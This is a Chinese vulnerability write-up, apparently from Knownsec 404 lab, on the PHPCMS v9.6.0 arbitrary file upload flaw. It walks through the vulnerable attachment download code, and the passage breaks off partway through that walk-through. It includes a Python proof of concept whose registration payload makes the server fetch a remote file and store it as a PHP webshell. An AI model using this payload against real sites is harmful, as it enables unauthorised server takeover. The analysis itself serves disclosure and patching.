【漏洞分析】PHPCMS v9.6.0 任意文件上传漏洞分析（已有补丁）

【漏洞分析】phpCMS v9.6.0 任意文件上传漏洞分析（已有补丁）

2017-04-13 10:00:22
来源：Paper 阅读：383次
点赞(0)
收藏

【漏洞分析】PHPCMS v9.6.0 任意文件上传漏洞分析（已有补丁）

Author: p0wd3r （知道创宇404安全实验室）

0x00 漏洞概述

漏洞简介

前几天 phpcms v9.6 的任意文件上传的漏洞引起了安全圈热议，通过该漏洞攻击者可以在未授权的情况下任意文件上传，影响不容小觑。phpcms官方今天发布了9.6.1版本，对漏洞进行了补丁修复。

漏洞影响

任意文件上传

0x01 漏洞复现

本文从 PoC 的角度出发，逆向的还原漏洞过程，若有哪些错误的地方，还望大家多多指教。

首先我们看简化的 PoC ：

importre importrequests defpoc(url): u='{}/index.php?m=member&c=index&a=register&siteid=1'.format(url) data={ 'siteid':'1', 'modelid':'1', 'username':'test', 'password':'testxx', 'email':'test@test.com', 'info[content]':'<imgsrc=http://url/shell.txt?.php#.jpg>', 'dosubmit':'1', } rep=requests.post(u,data=data) shell='' re_result=re.findall(r'<imgsrc=(.*)&gt',rep.content) iflen(re_result): shell=re_result[0] printshell

可以看到 PoC 是发起注册请求，对应的是phpcms/modules/member/index.php中的register函数，所以我们在那里下断点，接着使用 PoC 并开启动态调试，在获取一些信息之后，函数走到了如下位置：

通过 PoC 不难看出我们的 payload 在$_POST['info']里，而这里对$_POST['info']进行了处理，所以我们有必要跟进。

在使用new_html_special_chars对<>进行编码之后，进入$member_input->get函数，该函数位于caches/caches_model/caches_data/member_input.class.php中，接下来函数走到如下位置：

由于我们的 payload 是info[content]，所以调用的是editor函数，同样在这个文件中：
【漏洞分析】PHPCMS v9.6.0 任意文件上传漏洞分析（已有补丁）

接下来函数执行$this->attachment->download函数进行下载，我们继续跟进，在phpcms/libs/classes/attachment.class.php中：

functiondownload($field,$value,$watermark='0',$ext='gif|jpg|jpeg|bmp|png',$absurl='',$basehref='') { global$image_d; $this->att_db=pc_base::load_model('attachment_model'); $upload_url=pc_base::load_config('system','upload_url'); $this->field=$field; $dir=date('Y/md/'); $uploadpath=$upload_url.$dir; $uploaddir=$this->upload_root.$dir; $string=new_stripslashes($value); if(!preg_match_all("/(href|src)=([\"|']?)([^\"'>]+\.($ext))\\2/i",$string,$matches))return$value; $remotefileurls=array(); foreach($matches[3]as$matche) { if(strpos($matche,'://')===false)continue; dir_create($uploaddir); $remotefileurls[$matche]=$this->fillurl($matche,$absurl,$basehref); } unset($matches,$string); $remotefileurls=array_unique($remotefileurls); $oldpath=$newpath=array(); foreach($remotefileurlsas$k=>$file){ if(strpos($file,'://')===false||strpos($file,$upload_url)!==false)continue; $filename=fileext($file); $file_name=basename($file); $filename=$this->getname($filename); $newfile=$uploaddir.$filename; $upload_func=$this->upload_func; if($upload_func($file,$newfile)){ $oldpath[]=$k; $GLOBALS['downloadfiles'][]=$newpath[]=$uploadpath.$filename; @chmod($newfile,0777); $fileext=fileext($filename); if($watermark){ watermark($newfile,$newfile,$this->siteid); } $filepath=$dir.$filename; $downloadedfile=array('filename'=>$filename,'filepath'=>$filepath,'filesize'=>filesize($newfile),'fileext'=>$fileext); $aid=$this->add($downloadedfile); $this->downloadedfiles[$aid]=$filepath; } } returnstr_replace($oldpath,$newpath,$value); }

函数中先对$value中的引号进行了转义，然后使用正则匹配：

$ext='gif|jpg|jpeg|bmp|png'; ... $string=new_stripslashes($value); if(!preg_match_all("/(href|src)=([\"|']?)([^\"'>]+\.($ext))\\2/i",$string,$matches))return$value;

这里正则要求输入满足src/href=url.(gif|jpg|jpeg|bmp|png)，我们的 payload （<img src=http://url/shell.txt?.php#.jpg>）符合这一格式（这也就是为什么后面要加.jpg的原因）。

接下来程序使用这行代码来去除 url 中的锚点：$remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);，处理过后$remotefileurls的内容如下：
【漏洞分析】PHPCMS v9.6.0 任意文件上传漏洞分析（已有补丁）